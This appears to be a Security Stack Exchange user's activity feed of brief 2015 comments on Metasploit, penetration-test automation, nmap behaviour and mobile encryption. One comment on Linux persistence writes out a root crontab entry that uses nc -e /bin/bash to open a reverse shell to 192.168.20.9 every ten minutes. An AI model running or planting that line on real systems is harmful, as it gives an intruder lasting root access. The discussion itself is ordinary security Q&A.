Reputation
9,299
Top tag
Next privilege 10,000 Rep.
Access moderator tools
Badges
1 29 46
Newest
 Announcer
Impact
~543k people reached

1d
comment Do actual penetration testers actually use tools like metasploit?
There are also these -- github.com/SherifEldeeb?tab=repositories -- third-party meterpreter payloads: ultimet (inmet) and tinymet. Very useful! Thoughts?
Aug
15
comment Connection between “Security Requirements Engineering”, “Risk Analysis” and “Threat Modeling”
Do you also have thoughts on the NIST CSF or OpenSAMM as they apply to the original question, or even as they apply with integration towards or from active defense?
Aug
13
comment MSFConsole/Kali Linux - gain root access to unix system
msfpayload was deprecated but it was replaced by msfvenom
Aug
13
comment MSFConsole/Kali Linux - gain root access to unix system
@ J Kimball : Time to get another extra-new lab target. @iProgram : Great news
Aug
9
comment Open-source penetration-test automation
Thanks to tomsteele's BSidesLV2015 prezo, I'm now using Docker to automate much more, i.e., tomsteele/metasploit and rascal999/autopwn -- see it here -- youtube.com/watch?v=gC_vm1wc-AY
Jul
29
comment How exactly does the Stagefright Vulnerability work on Android?
Here is some information updated 3 days ago -- github.com/fuzzing/MFFA
Jul
27
comment Is there an equivalent of meterpreter's “run persistence” for Linux?
echo "*/10 * * * * root nc 192.168.20.9 12345 -e /bin/bash" >> /etc/crontab && service cron restart
Jul
12
comment Why are Adobe Flash exploits found so often?
Yes, and managed languages provide an easier ability to understand and "manage" the data and control flows, which was my second point. Load 30 of the top FOSS projects from all 25-supported programming languages into SonarQube, doxygen, or Understand and see what I mean -- the unmanaged languages will have a deeper set of flows and complexities to them. Yes, sir, all will have bugs. I am not new to app development with 21 years under my belt -- I did not claim as much before.
Jul
10
comment Why are Adobe Flash exploits found so often?
There are a lot of managed languages besides Java. In fact, I agree with you, the JVMs have way too many bugs. I said "managed language" and you jumped to Java, not me. My original answer even cited that Chrome had done away with Java applets, a good move on Google's part.
Jul
9
comment Why are Adobe Flash exploits found so often?
@deviantfan: Yes, but of the list I gave above, only integer overflows affect managed languages. The others do not, yet you see them in that link of commonly cited vulns for Flash Player very, very often.
Jun
15
comment Android wear, Tizen Encryption
@ pqsk : Thank you. Here also is a better analysis on Android Wear -- labs.mwrinfosecurity.com/blog/2015/05/22/…
Jun
15
comment Android wear, Tizen Encryption
To roughly summarize, Wear and Tizen don't do any full-disk encryption, so encryption must be provided by the app, preferably at the transport layer to a TLS-based service (and then stored securely on a server). Three Wear devices can currently be rooted, and as such, strace, gdb, and other memory-dumping, hooking, and software/process tracing/debugging tools can be leveraged to read data at the system-call, kernel, or other userspace layer. Libraries can be shimmed and methods/functions can be clobbered.
Jun
15
comment Android wear, Tizen Encryption
Well, I can't answer until someone reopens this question but check out these resources in the meantime -- conference.hitb.org/hitbsecconf2015ams/materials/Whitepapers/… -- conference.hitb.org/hitbsecconf2015ams/materials/…
Jun
15
comment Android wear, Tizen Encryption
@ pqsk : Ok great, that's what I thought but glad you clarified. Now on to an answer!
Jun
15
comment Automated tools for applying formal methods to verify security policy in existing software
@ Steve DL: added clarity, thank you for the feedback
Jun
15
comment Automated tools for applying formal methods to verify security policy in existing software
there is also langsec.org
Jun
14
comment Android wear, Tizen Encryption
Someone please do a writeup of this article -- androidguys.com/2015/06/14/…
Jun
13
comment IPhone iOS 8.3 encryption security against physical access
The iPhone 4 can't run iOS 8, only iOS 7. Is this rhetorical or do you mean the iPhone 4S? Let me change this around -- let's assume iPhone 5S, which contains the Secure Enclave. In this case, some data (non-iOS-dpapi) is recoverable except when the phone is off --or-- if the phone has just booted and no PIN/passphrase has yet been entered. An MDM certificate on the phone could also be used for full data recovery. More info here -- darthnull.org/2014/10/06/ios-encryption
Jun
4
comment explanation of an nmap behaviour
My first guess is that the host is not ICMP reachable, nor does it run TCP ports 80 or 443, thus the host is skipped due to a lack of the -Pn flag. My second guess is that the parallelism and/or scan-delay defaults of T3 timing aren't sufficiently picking up the port, so try -T2 --scan-delay 1s, -T1, or even -T0
May
22
comment Any way to circumvent a 'filtered' response on NMap?
Repeat question -- security.stackexchange.com/questions/53104/…